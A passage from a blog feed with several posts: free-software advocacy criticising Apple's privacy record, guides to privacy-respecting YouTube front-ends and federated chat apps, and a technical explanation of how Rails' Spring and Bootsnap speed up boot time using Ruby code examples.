<p>While Apple says that it respects its user&rsquo;s privacy, their track-record says exactly the opposite.</p>
<p>Snowden&rsquo;s documents show that <a href="https://eu.usatoday.com/story/news/2013/06/06/nsa-surveillance-internet-companies/2398345/">Apple is a part of NSA&rsquo;s global surveillance program</a>.</p>
<p>In China, it stores <a href="https://www.cpomagazine.com/data-privacy/icloud-data-turned-over-to-chinese-government-conflicts-with-apples-privacy-first-focus/">all user data on servers controlled by the Chinese government</a>.</p>
<p>All the search queries made in macOS&rsquo; spotlight <a href="http://finance.yahoo.com/blogs/the-exchange/privacy-advocates-worry-over-new-apple-iphone-tracking-feature-161836223.html">are send to Apple</a>.</p>
<p>Apple <a href="https://www.washingtonpost.com/news/the-switch/wp/2014/10/30/how-one-mans-private-files-ended-up-on-apples-icloud-without-his-consent/">uploaded private files</a> of its user to iCloud without consent.</p>
<p>You remember who is Siri? Siri is Apple&rsquo;s voice assistant. It is Apple&rsquo;s voice assistant, not your voice assistant. You might think that Siri listens to you only when prompted, but it turns out that <a href="https://www.theguardian.com/technology/2020/may/20/apple-whistleblower-goes-public-over-lack-of-action">it listens and records all the time</a>. Apple also hires people specifically for <a href="https://www.theguardian.com/technology/2020/may/20/apple-whistleblower-goes-public-over-lack-of-action">listening to users’ Siri recordings</a>.</p>
<p>You can check out more cases of surveillance by Apple by visiting <a href="https://www.gnu.org/proprietary/malware-apple.html#surveillance">this link</a>.</p>
<p>Cory Doctorow argues that surrendering your autonomy by moving to Apple&rsquo;s fortress has the same problem as all benevolent dictatorships: <a href="https://locusmag.com/2021/01/cory-doctorow-neofeudalism-and-the-digital-manor/">it works well, but fails badly</a>.  Let me quote Cory Doctorow from <a href="https://pluralistic.net/2021/06/08/leona-helmsley-was-a-pioneer/#manorialism">this article</a>,</p>
<blockquote>
<p>Apple rightly points out that the world is full of bandits who will steal your data and money and ruin your life, and it holds itself out as your protector &hellip;. But when Apple sides with the bandits, the walls
that once protected you now make you easy prey.</p>
</blockquote>
<p>Overall, Apple claims itself to be the guardian protecting its users&rsquo; privacy, while their track record is exactly the opposite, they <a href="https://www.fsf.org/news/the-problems-with-apple-arent-just-outages-they-are-injustices">increased surveillance on users</a> with the latest macOS update, they won&rsquo;t allow third-party repair shops but their &ldquo;authorized&rdquo; technicians themselves <a href="https://www.theguardian.com/technology/2021/jun/07/apple-settles-iphone-explicit-images">leak users&rsquo; data</a>. Apple&rsquo;s privacy claims, at their best, only give users privacy from third-parties. That is what their privacy trap is&ndash; Redefine privacy to mean privacy from others and earn goodwill by advertising that they care about users&rsquo; privacy. Surveillance is just a symptom of proprietary software. The bigger problem is that Apple keeps tight control over iDevices and users don&rsquo;t control them.</p>
<p>The only software we can trust is <a href="https://www.gnu.org/philosophy/free-software-even-more-important.html">free software</a>, which respects user&rsquo;s freedom. Users have control over the software if it is free software. If the software is free, users can check for malicious code and remove the malicious functionalities.</p>
<figure>
  <img src="https://ravidwivedi.in/images/four_freedoms.png" alt="Four Freedoms of free software" width="300" height="300" >
  <figcaption> Free Software respects your freedom. Source: <a href="https://static.fsf.org/nosvn/RMS_Intro_to_FS_TEDx_Slideshow.odp">Richard Stallman's Ted talk slides</a> released under CC-BY 3.0 license.</figcaption>
</figure>
<p>A nonfree software, on the other hand, is <a href="https://gnu.org/malware">malware</a>. Apple&rsquo;s iOS is malware because it is nonfree software. It is a black box. We never know what it is up to, so any trust on Apple respecting user&rsquo;s privacy is a blind trust.</p>
]]></content:encoded>
            <author>Ravi Dwivedi</author>
        </item>
        <item>
            <title><![CDATA[Accessing YouTube without giving away your privacy]]></title>
            <link>https://ravidwivedi.in/posts/accessing-youtube/</link>
            <guid isPermaLink="false">https://ravidwivedi.in/posts/accessing-youtube/</guid>
            <pubDate>Mon, 12 Jul 2021 00:00:00 GMT</pubDate>
            <description><![CDATA[YouTube is a platform where people upload and watch videos. I don’t think YouTube needs any introduction among the internet users. The thing that is not usually mentioned about YouTube is that it tracks its users. Further, YouTube’s algorithms distort the truth, it censors works that are fair use under the copyright law and doesn’t let you download videos in your device, even the ones you purchased.
An analysis of YouTube’s privacy policy is here.
In short, it is not YouTube, it is TheirTube. Knowing someone is always watching you has inhibiting effects. I don’t want to get tracked or get manipulated by YouTube’s algorithms. Fortunately, YouTube is accessible using free software in ways which respect your privacy. I will list some ways to watch YouTube videos using workarounds. All the software mentioned here are free software(which means they respect your freedom). Please read this article to understand why we must insist on free software.
In Desktop, YouTube videos can be watched using Invidious. You can visit any of the Invidious instances here from any browser and search for the video you would like to watch. Invidious also allows you to visit via Tor which hides your IP Address. You can use Privacy Redirect plugin in Firefox and Tor to automatically redirect YouTube links to Invidious. This plugin also redirects Twitter, Instagram, Reddit, Google Maps, Google Translate links to their privacy-respecting front-ends. You can also check out a bunch of other freedom-respecting software that you can use to watch YouTube videos.
Piped is a free software which acts as a frontend to YouTube. You can watch YouTube videos using Piped in your browser by visiting this URL. Piped does not expose your IP address to YouTube.
FreeTube app can also be used to watch YouTube videos. The app is available for all the GNU/Linux distros, macOS and Windows. FreeTube respects your privacy as well. Please read privacy section of their FAQ for details.
Youtube-dl is another software you can use on Desktop to watch videos. It is a command-line program that downloads videos from YouTube in your system. It is my favorite, and I fell in love with it when I realized how capable it is. It is very powerful, and it supports downloading videos from many other sites as well. You can also download audio files by extracting audio from YouTube videos using YouTube-dl. It supports downloading playlists as well. I plan to write a blog in future on using command-line to download using youtube-dl for beginners.
For Android, Newpipe app can be used to watch YouTube videos. Newpipe app shows no ads, does not track you, can run in background, can download audio/video files in your phone. Newpipe can also stream videos which are being live-streamed on YouTube. In addition to YouTube, you can access SoundCloud, media.ccc.de, PeerTube instances ,Bandcamp using NewPipe.
For iOS, I don’t know any workarounds. If you know of any, please let me know. iOS is, in general, very hostile to user freedom, so the only way to freedom is to avoid iOS.
While these workarounds work well, we cannot rely on Google to let them work. The workarounds do not really solve the problem. The real solution is that the videos are posted on a platform which respects user’s freedom(which is a bit more complicated issue than the freedom of software installed in your system). You can upload videos on Peertube or your own website to respect user’s freedom and allow them to download the videos as well. I have a channel on Peertube on the instance set up by FSCI. You can set up a donation based model to earn money from your videos. Users can send you money directly in your account for your work. You can also earn money by selling merchandise. For this model to be successful, we need more people to join in rejecting YouTube and similar tracking services.]]></description>
            <content:encoded><![CDATA[<p>YouTube is a platform where people upload and watch videos. I don&rsquo;t think YouTube needs any introduction among the internet users. The thing that is not usually mentioned about YouTube is that <a href="https://www.theguardian.com/commentisfree/2018/mar/28/all-the-data-facebook-google-has-on-you-privacy">it tracks its users</a>. Further, YouTube&rsquo;s algorithms <a href="https://www.theguardian.com/technology/2018/feb/02/how-youtubes-algorithm-distorts-truth">distort the truth</a>, it <a href="https://www.dailydot.com/unclick/youtube-mashup-remix-copyright-universal/">censors works that are fair use under the copyright law</a> and doesn&rsquo;t let you download videos in your device, even the ones you purchased.</p>
<p>An analysis of YouTube&rsquo;s privacy policy is <a href="https://tosdr.org/en/service/274">here</a>.</p>
<p>In short, it is not YouTube, it is <a href="https://www.their.tube/">TheirTube</a>. Knowing someone is always watching you has <a href="https://www.socialcooling.com/">inhibiting effects</a>. I don&rsquo;t want to get tracked or get manipulated by YouTube&rsquo;s algorithms. Fortunately, YouTube is accessible using <a href="https://www.gnu.org/philosophy/free-software-even-more-important.html">free software</a> in ways which respect your privacy. I will list some ways to watch YouTube videos using workarounds. All the software mentioned here are free software(which means they respect your freedom). Please read <a href="https://www.gnu.org/philosophy/free-software-even-more-important.html">this article</a> to understand why we must insist on free software.</p>
<p>In Desktop, YouTube videos can be watched using <a href="https://github.com/iv-org/invidious">Invidious</a>. You can visit any of the Invidious instances <a href="https://instances.invidious.io/">here</a> from any browser and search for the video you would like to watch. Invidious also allows you to visit via Tor which hides your IP Address. You can use <a href="https://addons.mozilla.org/en-US/firefox/addon/privacy-redirect/">Privacy Redirect</a> plugin in Firefox and Tor to automatically redirect YouTube links to Invidious. This plugin also redirects Twitter, Instagram, Reddit, Google Maps, Google Translate links to their privacy-respecting front-ends. You can also check out a <a href="https://github.com/iv-org/invidious#made-with-invidious">bunch of other freedom-respecting software</a> that you can use to watch YouTube videos.</p>
<p><a href="https://github.com/TeamPiped/Piped#piped">Piped</a> is a free software which acts as a frontend to YouTube. You can watch YouTube videos using Piped in your browser by visiting this <a href="https://piped.kavin.rocks/">URL</a>. Piped does not expose your IP address to YouTube.</p>
<p><a href="https://freetubeapp.io/">FreeTube</a> app can also be used to watch YouTube videos. The app is available for all the GNU/Linux distros, macOS and Windows. FreeTube respects your privacy as well. Please read <a href="https://docs.freetubeapp.io/usage/privacy/">privacy section of their FAQ</a> for details.</p>
<p><a href="https://github.com/ytdl-org/youtube-dl">Youtube-dl</a> is another software you can use on Desktop to watch videos. It is a command-line program that downloads videos from YouTube in your system. It is my favorite, and I fell in love with it when I realized how capable it is. It is very powerful, and it <a href="https://ytdl-org.github.io/youtube-dl/supportedsites.html">supports downloading videos from many other sites</a> as well. You can also download audio files by extracting audio from YouTube videos using YouTube-dl. It supports downloading playlists as well. I plan to write a blog in future on using command-line to download using youtube-dl for beginners.</p>
<p>For Android, <a href="https://newpipe.net/">Newpipe app</a> can be used to watch YouTube videos. Newpipe app shows no ads, <a href="https://newpipe.net/#privacy">does not track you</a>, can run in background, can download audio/video files in your phone. Newpipe can also stream videos which are being live-streamed on YouTube. In addition to YouTube, you can access SoundCloud, media.ccc.de, PeerTube instances ,Bandcamp using NewPipe.</p>
<p>For iOS, I don&rsquo;t know any workarounds. If you know of any, please <a href="https://ravidwivedi.in/contact">let me know</a>. iOS is, in general, very hostile to user freedom, so the only way to freedom is to avoid iOS.</p>
<p>While these workarounds work well, we cannot rely on Google to let them work. The workarounds do not really solve the problem. The real solution is that the videos are posted on a platform which respects user&rsquo;s freedom(which is a bit more complicated issue than the freedom of software installed in your system). You can upload videos on Peertube or your own website to respect user&rsquo;s freedom and allow them to download the videos as well. I have a <a href="https://videos.fsci.in/video-channels/ravidwivedi_channel">channel</a> on Peertube on the instance set up by <a href="https://fsci.in">FSCI</a>. You can set up a donation based model to earn money from your videos. Users can send you money directly in your account for your work. You can also earn money by selling merchandise. For this model to be successful, we need more people to join in rejecting YouTube and similar tracking services.</p>
]]></content:encoded>
            <author>Ravi Dwivedi</author>
        </item>
        <item>
            <title><![CDATA[Choosing a privacy-respecting chatting app]]></title>
            <link>https://ravidwivedi.in/posts/chatting-apps/</link>
            <guid isPermaLink="false">https://ravidwivedi.in/posts/chatting-apps/</guid>
            <pubDate>Mon, 12 Jul 2021 00:00:00 GMT</pubDate>
            <description><![CDATA[Which chatting app do you use to contact your loved ones?
Do you use WhatsApp?
Do you use Telegram or Signal?
What if you do not agree to the terms and conditions or privacy policy of these apps?
Well, either you need to accept their terms or switch to any other app and do the hard work of convincing every contact to move to your new chat app whose terms you can agree. What if you are a student and all the important notifications are sent to the WhatsApp group? Would you convince your school to avoid WhatsApp? What if they don’t care? Now you are forced to be on WhatsApp to make sure you don’t miss any important updates. So, when you click on ‘I Agree’ to the document which says, “We will put you in surveillance. It has a lot of benefits. Your life will be very convenient”, do you really agree, or you just gave in to social pressure? Or you did not care? Do you really have a choice?
  Why SMS refuses to die. Source: https://xkcd.com/2365/ 

So, how do we control our means of communications? What does controlling our communications mean? If we control our means of communications, can we ensure privacy as well? I will go into details of what I mean when I say that the users control the software. If the users have the freedom to run, copy, distribute, study, change and improve the software, then the users control the software. Such a software is called free software, where ‘free’ refers to freedom and not to price. In this article, ‘free’ refers to freedom and never to price. I suggest you to read this article to understand why these freedoms are important and how this gives users control over the software. Examples of free software(freedom-respecting) chatting apps are Telegram, Signal, Quicksy, Element etc. If users lack any of these freedoms, then the software is called nonfree/proprietary and such a software cannot be trusted by the user. WhatsApp is an example of nonfree/proprietary software.
 Image: Free Software respects your freedom. Source: Richard Stallman's Ted talk slides released under CC-BY 3.0 license. 


Chatting apps usually have two components: 1. The app that you install on your device; 2. A server (we will call it a service provider)which transfers the messages from the sender to the recipient. If you control only the software, the service provider still has the power to impose unjust conditions on you. In the above-mentioned example, Signal is a free software which includes the freedom to modify the code but when a project modified the Signal app code, Signal refused to allow them to connect to their server or federate with any other server. This is not true freedom. So, to control our chatting system, software must be free but that is not enough.
Therefore, for full control, we need to have federated chat systems – to allow users registered on different service providers to communicate with each other - for instance a mail server run by Google federates with a mail server run by Microsoft when you send email from @gmail.com to @hotmail.com. So you can choose a free software and a trusted, community-run service-provider, and this is what I mean by having control over our communications. This control is collective control by community. Examples of such systems are Matrix and XMPP. Federation answers the question raised earlier: What to do if the service provider imposes terms and conditions you do not agree with? You can switch to another service provider or you can be a service provider and still communicate with your contacts. You don’t need to convince them to switch to a new provider.  Examples of matrix apps are- Element, Nheko, Fluffychat etc. Examples of XMPP apps are- Conversations, Dino, Gajim, Siskin IM etc.  Make sure that the app supports end-to-end encryption–which means only the sender and recipient can read the messages.
 A graphical demonstration of how end-to-end encryption works. Credits: Cryptpad 


Quicksy app is at the intersection of freedom and convenience. It registers the account with a phone number, which makes the app convenient and easy to use. It federates with XMPP so no one is forced to use Quicksy and so other people can use some other XMPP app(like Conversations) which do not require any personal details to create an account.
To get started with XMPP, you can use this guide or use Quicksy app if you don’t mind registering with your phone number.
Telegram and Signal apps are freedom-respecting but since they are not federated, the overall chatting system is not freedom-respecting.
Another way to freedom is to use freedom-respecting encrypted messaging apps which do not involve any servers. These are called peer-to-peer apps. The downside here is that both the users need to be online at the same time to exchange messages. You can choose to run the app in background to receive messages. Examples: Briar, GNU Jami, Tox.
TL;DR : Free Software app + Federated chat systems like Matrix or XMPP and free software peer-to-peer apps like Briar give users full control over their communications and therefore you can ensure privacy. Nonfree/proprietary software control the users and therefore cannot be trusted for privacy.
Further Reading:
FSF India’s article on the same.
It’s all about choices and control.
Instant Messaging: It’s not about the app - XMPP provides sovereignty of your communication.
How to ensure your Instant Messaging solution offers users privacy and security.]]></description>
            <content:encoded><![CDATA[<p>Which chatting app do you use to contact your loved ones?</p>
<p>Do you use WhatsApp?</p>
<p>Do you use Telegram or Signal?</p>
<p>What if you do not agree to the terms and conditions or privacy policy of these apps?</p>
<p>Well, either you need to accept their terms or switch to any other app and do the hard work of convincing every contact to move to your new chat app whose terms you can agree. What if you are a student and all the important notifications are sent to the WhatsApp group? Would you convince your school to avoid WhatsApp? What if they don&rsquo;t care? Now you are forced to be on WhatsApp to make sure you don&rsquo;t miss any important updates. So, when you click on &lsquo;I Agree&rsquo; to the document which says, &ldquo;We will put you in surveillance. It has a lot of benefits. Your life will be very convenient&rdquo;, <a href="https://www.theguardian.com/technology/2014/sep/29/londoners-wi-fi-security-herod-clause">do you really agree</a>, or you just gave in to social pressure? Or you did not care? Do you really have a choice?</p>
<figure>
<img
     src="https://ravidwivedi.in/images/xkcd_messaging.png"
     alt="SMS is just the worse but I' having trouble convincing people to adopt my system, TLS IRC with a local serverand a patched DOSBox gateway running in my mobile browser." width="300" height="300" >
<figcaption>  Why SMS refuses to die. Source: https://xkcd.com/2365/ </figcaption>
</figure>
<p>So, how do we control our means of communications? What does controlling our communications mean? If we control our means of communications, can we ensure privacy as well? I will go into details of what I mean when I say that the users control the software. If the users have the freedom to run, copy, distribute, study, change and improve the software, then the users control the software. Such a software is called free software, where &lsquo;free&rsquo; refers to freedom and <a href="https://play.google.com/store/apps/details?id=com.dealerinspire.conversations&amp;hl=en&amp;gl=US">not to price</a>. In this article, &lsquo;free&rsquo; refers to freedom and never to price. I suggest you to read <a href="https://www.gnu.org/philosophy/free-software-even-more-important.html">this article</a> to understand why these freedoms are important and how this gives users control over the software. Examples of free software(freedom-respecting) chatting apps are <a href="https://telegram.org/">Telegram</a>, <a href="https://signal.org">Signal</a>, <a href="https://quicksy.im">Quicksy</a>, <a href="https://element.io">Element</a> etc. If users lack any of these freedoms, then the software is called nonfree/proprietary and such a software <a href="gnu.org/malware">cannot be trusted by the user</a>. WhatsApp is an example of nonfree/proprietary software.</p>
<figure>
  <img src="https://ravidwivedi.in/images/four_freedoms.png" alt="Four Freedoms of free software">
  <figcaption> Image: Free Software respects your freedom. Source: <a href="https://static.fsf.org/nosvn/RMS_Intro_to_FS_TEDx_Slideshow.odp">Richard Stallman's Ted talk slides</a> released under CC-BY 3.0 license. </figcaption>
</figure>
<br>
<p>Chatting apps usually have two components: 1. The app that you install on your device; 2. A server (we will call it a service provider)which transfers the messages from the sender to the recipient. If you control only the software, the service provider still has the power to impose unjust conditions on you. In the above-mentioned example, Signal is a free software which includes the freedom to modify the code but when a project modified the Signal app code, Signal <a href="https://github.com/LibreSignal/LibreSignal/issues/37#issuecomment-217211165">refused to allow them to connect to their server or federate</a> with any other server. This is not true freedom. So, to control our chatting system, software must be free but that is not enough.</p>
<p>Therefore, for full control, we need to have federated chat systems &ndash; to allow users registered on different service providers to communicate with each other - for instance a mail server run by Google federates with a mail server run by Microsoft when you send email from @gmail.com to @hotmail.com. So you can choose a free software and a trusted, community-run service-provider, and this is what I mean by having control over our communications. This control is collective control by community. Examples of such systems are <a href="matrix.org">Matrix</a> and <a href="xmpp.org">XMPP</a>. Federation answers the question raised earlier: What to do if the service provider imposes terms and conditions you do not agree with? You can switch to another service provider or you can be a service provider and still communicate with your contacts. You don&rsquo;t need to convince them to switch to a new provider.  Examples of matrix apps are- <a href="element.io">Element</a>, <a href="https://nheko-reborn.github.io/">Nheko</a>, <a href="https://fluffychat.im/">Fluffychat</a> etc. Examples of XMPP apps are- <a href="conversations.im">Conversations</a>, <a href="https://dino.im/">Dino</a>, <a href="https://gajim.org/">Gajim</a>, <a href="https://siskin.im/">Siskin IM</a> etc.  Make sure that the app supports end-to-end encryption&ndash;which means only the sender and recipient can read the messages.</p>
<figure>
<img
     src="https://ravidwivedi.in/images/shredder.png"
     alt="Drawing: Paper is passed through a device which shreds it into fragments. The fragments travel some distance and then are re-assembled by another device">
<figcaption> A graphical demonstration of how end-to-end encryption works. Credits: <a href="https://cryptpad.fr">Cryptpad</a> </figcaption>
</figure>
<br>
<p><a href="https://quicksy.im">Quicksy app</a> is at the intersection of freedom and convenience. It registers the account with a phone number, which makes the app convenient and easy to use. It federates with XMPP so no one is forced to use Quicksy and so other people can use some other XMPP app(like Conversations) which do not require any personal details to create an account.</p>
<p>To get started with XMPP, you can use <a href="https://ravidwivedi.in/posts/xmpp-guide">this guide</a> or use <a href="https://quicksy.im">Quicksy</a> app if you don&rsquo;t mind registering with your phone number.</p>
<p>Telegram and Signal apps are freedom-respecting but since they are not federated, the overall chatting system is not freedom-respecting.</p>
<p>Another way to freedom is to use freedom-respecting encrypted messaging apps which do not involve any servers. These are called peer-to-peer apps. The downside here is that both the users need to be online at the same time to exchange messages. You can choose to run the app in background to receive messages. Examples: <a href="https://briarproject.org/">Briar</a>, <a href="https://jami.net">GNU Jami</a>, <a href="https://tox.chat/">Tox</a>.</p>
<p><strong>TL;DR</strong> : Free Software app + Federated chat systems like <a href="matrix.org">Matrix</a> or <a href="xmpp.org">XMPP</a> and free software peer-to-peer apps like Briar give users full control over their communications and therefore you can ensure privacy. Nonfree/proprietary software control the users and therefore cannot be trusted for privacy.</p>
<h3 id="further-reading">Further Reading:</h3>
<ul>
<li>
<p><a href="https://fsf.org.in/article/better-than-whatsapp">FSF India&rsquo;s article</a> on the same.</p>
</li>
<li>
<p><a href="https://xmpp.org/2015/01/its-all-about-choices-and-control/">It’s all about choices and control</a>.</p>
</li>
<li>
<p>Instant Messaging: It&rsquo;s not about the app - <a href="https://xmpp.org/2021/01/instant-messaging-its-not-about-the-app/">XMPP provides sovereignty of your communication</a>.</p>
</li>
<li>
<p><a href="https://www.erlang-solutions.com/blog/how-to-ensure-your-instant-messaging-solution-offers-users-privacy-and-security/">How to ensure your Instant Messaging solution offers users privacy and security</a>.</p>
</li>
</ul>
]]></content:encoded>
            <author>Ravi Dwivedi</author>
        </item>
        <item>
            <title><![CDATA[Bootsnap and Spring, Understanding rails boottime optimisations]]></title>
            <link>https://aboobacker.in/2021/06/28/bootsnap-and-spring-understanding-rails-boottime-optimisations.html</link>
            <guid isPermaLink="false">https://aboobacker.in/2021/06/28/bootsnap-and-spring-understanding-rails-boottime-optimisations.html</guid>
            <pubDate>Mon, 28 Jun 2021 08:33:00 GMT</pubDate>
            <description><![CDATA[Being the default the gem file entries in a rails project, you may have encountered spring and bootsnap. Here we are going through how they work and how they can improve boot time of your applications and why you get some weird errors in the app(Looking at you Spring).
Before diving into details, let’s go through some fundamentals to understand things better. Traditionally there were two kinds of languages, Compiled languages and interpreted languages.  Compiled languages convert the code into binary format and that binary gets executed as the program. C, C++, Java etc are examples for this pattern. Another set of languages which were primarily designed for scripting read individual lines in the code and converted to machine instructions on runtime.
With ruby 1.9, a new virtual machine replaced the interpreter in ruby which was called Mat’s Ruby Interpreter(MRI). With a new virtual machine. Here instead of directly executing the code, ruby  code will be converted to an intermediate representation called instruction sequence and the YARV virtual machine will execute them.
You can refer to the following diagram for reference.

Credit: Ruby under a microscope
There are also bulletin tools to inspect what is happening in the process, let’s check what happens for a 3 line code.

require 'ripper'
require 'pp'
code = <<CODE
def add(x, y)
  x + y
end
CODE


Let’s split the code into tokens using ripper utility

irb(main):043:0> Ripper.tokenize code
=> ["def", " ", "add", "(", "x", ",", " ", "y", ")", "\n", "x", " ", "+", " ", "y", "\n", "end", "\n"]


And see the parsed form using ripper sexp

irb(main):042:0> pp Ripper.sexp(code)
[:program,
 [[:def,
   [:@ident, "add", [1, 4]],
   [:paren,
    [:params,
     [[:@ident, "x", [1, 8]], [:@ident, "y", [1, 11]]],
     nil,
     nil,
     nil,
     nil,
     nil,
     nil]],
   [:bodystmt,
    [[:binary,
      [:var_ref, [:@ident, "x", [2, 0]]],
      :+,
      [:var_ref, [:@ident, "y", [2, 4]]]]],
    nil,
    nil,


We can also take look at how the Instruction sequence(yarv code) looks like

irb(main):052:0> puts RubyVM::InstructionSequence.compile(code).disasm
== disasm: #<ISeq:<compiled>@<compiled>:1 (1,0)-(3,3)> (catch: FALSE)
0000 definemethod                           :add, add                 (   1)[Li]
0003 putobject                              :add
0005 leave

== disasm: #<ISeq:add@<compiled>:1 (1,0)-(3,3)> (catch: FALSE)
local table (size: 2, argc: 2 [opts: 0, rest: -1, post: 0, block: -1, kw: -1@-1, kwrest: -1])
[ 2] x@0<Arg>   [ 1] y@1<Arg>
0000 getlocal_WC_0                          x@0                       (   2)[LiCa]
0002 getlocal_WC_0                          y@1
0004 opt_plus                               <calldata!mid:+, argc:1, ARGS_SIMPLE>
0006 leave                                                            (   3)[Re]
=> nil


Explaining the terms in the parsed and compiled code is beyond the scope of this blog post, and I recommend reading Ruby Under a Microscope.
Newer versions of ruby also allows us to compile the code to binary and execute them later. it is experimental and platform dependent.

? cat example.rb
number = 23
puts number + 23
? ruby -e "File.write('example.bin',RubyVM::InstructionSequence.compile_file('example.rb')
.to_binary)"
? cat example.bin
YARB@
     ?x86_64-darwin18%?#?%?gw
numberE+Eexampleputs?????????%



irb(main):018:0>  RubyVM::InstructionSequence.load_from_binary(File.read('example.bin')).eval
46


That is it for the ruby compilation process for now. Now let’s how the ruby’s require method works.
Contrary to what I thought initially, require is not a keyword in ruby, it is a method from ruby’s Kernal module.
Let’s look at the overly simplified version of require method for our context.

def require(file_name)
  eval File.read(filename)
end


Two main issues with this implementation are
Requiring same file again will load the file again
Only absolute paths are supported
We can fix these issues in the following ways

  $LOADED_FEATURES = []
  def require(filename)
    return false if $LOADED_FEATURES.include?(filename)
    eval File.read(filename)
    $LOADED_FEATURES << filename
  end



  $LOAD_PATH = []
  #$LOAD_PATH = += gems_path + stdlib path + application code paths

  def require(filename)
    full_path = $LOAD_PATH.take do |path|
      File.exist?(File.join(path, filename))
    end

    eval File.read(full_path)
  end


While above code snippets are dummy implementations, Ruby actually uses the constants $LOADED_FEATURES and $LOAD_PATH for the same use case. Here is a stat from one of our  app for reference

irb(main):054:0>  $LOADED_FEATURES.count
=> 6552



irb(main):058:0> $LOAD_PATH.count
=> 779


Another important method we need to recall is the fork system call in POSIX systems. fork allows the OS to create a new process as the child process with the same  memory space. Modern hardware architectures like x86 allows the OS to optimise the fork with a mechanism called copy on write. In short it is very cheap to create a forked process of an app than loading that app from scratch.
Now let’s look at the gems from the title.
Spring is a rails only tool to speedup development and test environments. It creates your app process in the background for development and test environments and acts as a server. When you run a process like bundle exec rails server or bundle exec rspec it sends the data like command, ENV values, arguments etc to spring server, and spring server will fork the server process and run the task.
Since the server process already loaded the app, the loading time of the app will be negligible and your task will run faster.
But when the code changes, the server process needs to update and it may fail due to various reasons, like adding new directories. That is why you ended up having to run spring stop manually or restart the system to make the application behave as expected.
The serve method in Spring is provided as reference. You can see zipping io values, fetching arguments, env etc from client, forking the new process etc in the below snippet.

 def serve(client)
      log "got client"
      manager.puts

      _stdout, stderr, _stdin = streams = 3.times.map { client.recv_io }
      [STDOUT, STDERR, STDIN].zip(streams).each { |a, b| a.reopen(b) }

      preload unless preloaded?

      args, env = JSON.load(client.read(client.gets.to_i)).values_at("args", "env")
      command   = Spring.command(args.shift)

      connect_database
      setup command

      if Rails.application.reloaders.any?(&:updated?)
        Rails.application.reloader.reload!
      end

      pid = fork {
        Process.setsid
        IGNORE_SIGNALS.each { |sig| trap(sig, "DEFAULT") }
        trap("TERM", "DEFAULT")

        unless Spring.quiet
          STDERR.puts "Running via Spring preloader in process #{Process.pid}"

          if Rails.env.production?
            STDERR.puts "WARNING: Spring is running in production. To fix "         \
                        "this make sure the spring gem is only present "            \
                        "in `development` and `test` groups in your Gemfile "       \
                        "and make sure you always use "                             \
                        "`bundle install --without development test` in production"
          end
        end

        ARGV.replace(args)
        $0 = command.exec_name

        # Delete all env vars which are unchanged from before Spring started
        original_env.each { |k, v| ENV.delete k if ENV[k] == v }

        # Load in the current env vars, except those which *were* changed when Spring started
        env.each { |k, v| ENV[k] ||= v }

        # requiring is faster, so if config.cache_classes was true in
        # the environment's config file, then we can respect that from
        # here on as we no longer need constant reloading.
        if @original_cache_classes
          ActiveSupport::Dependencies.mechanism = :require
          Rails.application.config.cache_classes = true
        end

        connect_database
        srand

        invoke_after_fork_callbacks
        shush_backtraces

        command.call
      }

      disconnect_database

      log "forked #{pid}"
      manager.puts pid

      wait pid, streams, client
    rescue Exception => e
      log "exception: #{e}"
      manager.puts unless pid

      if streams && !e.is_a?(SystemExit)
        print_exception(stderr, e)
        streams.each(&:close)
      end

      client.puts(1) if pid
      client.close
    ensure
      # Redirect STDOUT and STDERR to prevent from keeping the original FDs
      # (i.e. to prevent `spring rake -T | grep db` from hanging forever),
      # even when exception is raised before forking (i.e. preloading).
      reset_streams
    end


Bootsnap is a gem released by shopify by extracting boot time improvements they made in their app. We can categorise them into two parts
Path prescanning
Kernel#require and Kernel#load are modified to eliminate $LOAD_PATH scans
ActiveSupport::Dependencies.{autoloadable_module?,load_missing_constant,depend_on} are overridden to eliminate scans of ActiveSupport::Dependencies.autoload_paths.
Compilation Caching
RubyVM::InstructionSequence.load_iseq is implemented to cache the result of Ruby bytecode compilation
YAML.load_file is modified to cache the result of loading a YAML object in MessagePack format (or Marshal, if the message uses types unsupported by MessagePack)
If you look at the pseudo code above to demonstrate the LOAD_PATH behaviour, you will see that we need to check file existence every time we do a require, which is an io operation and not very cheap to perform. What if we can do something like this?

 def require(filename)
    if $CACHED_PATH[file_name]
      full_path = $CACHED_PATH[filename]
    else
      full_path = $LOAD_PATH.take do |path|
        File.exist?(File.join(path, filename))
      end
    end

    eval File.read(full_path)
 end


load path for a library is not something that changes very often, especially for gem paths and standard library paths, bootsnap caches them to save redundant file checks. Not that cache duration and expiration vary with files, so caching them in a constant won’t work. CACHED_PATH is just for reference and not used by the gem.
Another important optimization by bootsnap is the compilation cache. We covered the ruby compilation process in the beginning and saw that every single file needed to go through the compilation process every single time they got called. Bootsnap addresses this by caching yarv code(instruction sequence) and compiling the code only if the code changes.
There are also other optimised YAML loading by caching in an optimised format. overall Bootsnap gives impressive benefits as it works on production as well. We got about 30% reduction in boottime for our production ecommerce app.
Note: This was originaly presented in internal tech talk in Sephora and made some tweaks to the content for wider audience.]]></description>
            <content:encoded><![CDATA[<p>Being the default the gem file entries in a rails project, you may have encountered spring and bootsnap. Here we are going through how they work and how they can improve boot time of your applications and why you get some weird errors in the app(Looking at you Spring).</p>

<p>Before diving into details, let’s go through some fundamentals to understand things better. Traditionally there were two kinds of languages, Compiled languages and interpreted languages.  Compiled languages convert the code into binary format and that binary gets executed as the program. C, C++, Java etc are examples for this pattern. Another set of languages which were primarily designed for scripting read individual lines in the code and converted to machine instructions on runtime.</p>

<p>With ruby 1.9, a new virtual machine replaced the interpreter in ruby which was called Mat’s Ruby Interpreter(MRI). With a new virtual machine. Here instead of directly executing the code, ruby  code will be converted to an intermediate representation called instruction sequence and the YARV virtual machine will execute them.</p>

<p>You can refer to the following diagram for reference.
<img src="https://aboobacker.in/images/tokenize.png" alt="'tokenize.png'" /></p>

<p>Credit: Ruby under a microscope</p>

<p>There are also bulletin tools to inspect what is happening in the process, let’s check what happens for a 3 line code.</p>

<div class="language-ruby highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nb">require</span> <span class="s1">'ripper'</span>
<span class="nb">require</span> <span class="s1">'pp'</span>
<span class="n">code</span> <span class="o">=</span> <span class="o">&lt;&lt;</span><span class="no">CODE</span><span class="sh">
def add(x, y)
  x + y
end
</span><span class="no">CODE</span>
</code></pre></div></div>

<p>Let’s split the code into tokens using ripper utility</p>
